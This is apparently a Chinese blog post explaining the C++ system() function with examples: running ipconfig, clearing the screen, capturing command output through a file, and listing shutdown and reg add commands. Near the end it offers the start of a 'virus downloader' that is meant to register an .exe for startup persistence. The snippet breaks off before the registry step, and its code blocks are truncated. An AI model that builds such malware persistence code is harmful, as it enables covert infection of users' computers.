c++system函数————一个函数打天下!

system函数,即DOS(磁盘操作系统)。也就是说,凡是能在cmd下运行的命名,都可以用system实现!

函数原型:int    __cdecl system(const char *);

头文件:#include 

许多人认为头文件是windows.h,不过windows.h只能在视窗系统下编译

 传入const char*类型的cmd命令,即可执行相应命令。

例如,如果想执行cmd命令“ipconfig”,只要这样写即可:system("ipconfig");

还有常见的清空输出、按任意键继续就可以写成system("cls");system("pause");

打开文件还可以写成system("文件路径");

不过system函数可不止这些功能。所有cmd命令他都可以执行。常见命令可以参考Windows CMD常用命令大全(值得收藏)_风口IT猪的成长录-CSDN博客_cmd指令大全指令icon-default.png?t=L9C2https://blog.csdn.net/qq_46092061/article/details/119849648?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522163504378716780271594554%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=163504378716780271594554&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_click~default-2-119849648.first_rank_v2_pc_rank_v29&utm_term=cmd%E5%91%BD%E4%BB%A4%E5%A4%A7%E5%85%A8&spm=1018.2226.3001.4187

你们敢相信吗,我曾经为了复制一个文件废了好几个小时来学习文件二进制读写,最后才发现直接用copy命令就行了……

对于想要获取执行的cmd命令的输出 ,比较方便的方法就是用“>>“将输出的命令放到文件中,再从文件中读取即可:

#include
#include
#include
int main(){
	std::ofstream out;
	out.open("C:\\a.txt");//用文件输出流创建文件
	out.close();//关闭输出流
	system("ipconfig>>C:\\a.txt");//执行cmd命令ipconfig,并将输出结果放到a.txt文件中
	std::ifstream in;
	in.open("C:\\a.txt");//打开文件输入流,指向a.txt
	char a;
	while(in>>a)std::cout<

知道为什么我说system可以打天下吗?因为它还有这样的功能:

reg add————修改注册表项(即可添加开机自启动项)

ipconfig————获取电脑ip

shutdown -s -t x————x秒后关机

shutdown -r -t x————x秒后重启

shutdown -l -t x————x秒后注销

所以,我们可以写一个病毒的下载器:

#include
#include
#include 
#define PATH_SIZE 255
using namespace std;
int main(){
	char c[PATH_SIZE];
    if(!getcwd(c,PATH_SIZE)){ 
        cout<<"无法找到所在位置"<

也就是把病毒.exe文件添加开机自启。知道system函数的强大与危险了吗?知道了就点个赞吧~

你可能感兴趣的:(随笔,c++)